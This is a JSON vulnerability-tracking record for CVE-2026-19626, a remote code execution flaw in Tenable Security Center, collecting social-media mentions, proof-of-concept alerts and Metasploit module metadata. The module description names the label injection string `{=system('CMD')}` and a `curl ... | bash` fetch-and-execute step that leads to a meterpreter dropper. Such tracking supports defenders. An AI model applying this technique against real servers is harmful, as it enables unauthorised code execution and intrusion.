{"vulnerability": "cve-2026-19626", "sightings": [{"uuid": "adc07493-05ac-4ac6-8ac9-3f92ab7e223a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19626", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mt2ptnxcbr25", "content": "CVE-2026-19626 - security center\nA security flaw in Tenable Security Center's report generation feature could allow an authorized user to execute malicious code on the system. This could lead to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#securitycenter #tenable #CVE #infosec", "creation_timestamp": "2026-08-14T17:50:04.368917Z"}, {"uuid": "3d1e2af4-0919-45c2-9882-d96792bc3e7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19626", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mtigdbatsb2y", "content": "\ud83d\udccc CVE-2026-19626 - A remote code execution vulnerability exists in Tenable Security Center's report generation functionality. An authenticated, non-administrative user c... https://www.cyberhub.blog/cves/CVE-2026-19626", "creation_timestamp": "2026-08-20T04:37:06.965420Z"}, {"uuid": "1460810b-603d-4031-a0f5-e1b7dae388c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19626", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99491", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a POC-CVE-2026-19626\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a h00die\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-24 12:47:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-24T15:00:04.996171Z"}, {"uuid": "c8ded32c-478b-4030-8a40-521aecca14a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19626", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99491", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a POC-CVE-2026-19626\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a h00die\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-24 12:47:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-25T00:00:23.474107Z"}, {"uuid": "c5977285-abc0-429a-bb54-c98499db3e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19626", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3muevmamcxe2h", "content": "\ud83d\udd17 CVE : CVE-2026-19626, CVE-2026-19628, CVE-2026-19629, CVE-2026-19635", "creation_timestamp": "2026-08-31T12:25:06.910141Z"}, {"uuid": "a1983247-6ddc-45fc-9143-4fca949c869f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19626", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/tenable_sc_report_charting_rce_cve_2026_19626.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"h00die\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"Tenable Security Center prior to 6.9.0 allows an authenticated,\\n          non-administrative user to achieve code execution as the web service\\n          account (tns) through report generation.\\n\\n          A report definition's inline style is discarded at render (components\\n          rehydrate styles from the Style tables by styleID), so the payload is\\n          delivered through a label instead: a group created with the name\\n          `{=system('CMD')}` is accepted verbatim and becomes a pie sector\\n          label via a user/sumgroup query; `{label}` substitution runs BEFORE\\n          the eval loop, so the payload lands inside the format string and\\n          fires at chart render. Regular org users can create both; report\\n          launch refuses ROLE_ADMIN - this bug class is explicitly non-admin.\\n\\n          Payload constraints: the {=...} regex is non-greedy to the first\\n          closing brace, so the expression may not contain one, and PHP string\\n          interpolation applies; this module therefore injects only\\n          `curl :|bash`\\n          (a bare host:port GETs / and bash reads the served script from\\n          stdin). The served script itself has no such limits, which the\\n          Linux Dropper target exploits with a fetch payload\\n          (cmd/linux/http/...) that downloads and execs a full native payload\\n          (e.g. x64 meterpreter) from the payload adapter's own listener on\\n          FETCH_SRVPORT.\\n\\n          Report definitions are closed to administrators (creation returns\\n          error 163); supply credentials for a regular org user.\\n\\n          Tested against SecurityCenter 6.7.2-14 on RHEL9.\", \"disclosure_date\": \"2026-08-13\", \"fullname\": \"exploit/linux/http/tenable_sc_report_charting_rce_cve_2026_19626\", \"is_install_path\": true, \"mod_time\": \"2026-08-25 09:35:26 +0000\", \"name\": \"Tenable Security Center Report Charting RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/tenable_sc_report_charting_rce_cve_2026_19626.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"linux/http/tenable_sc_report_charting_rce_cve_2026_19626\", \"references\": [\"URL-https://www.tenable.com/security/tns-2026-22\", \"CVE-2026-19626\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Unix Command\", \"Linux Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:57.902691Z"}]}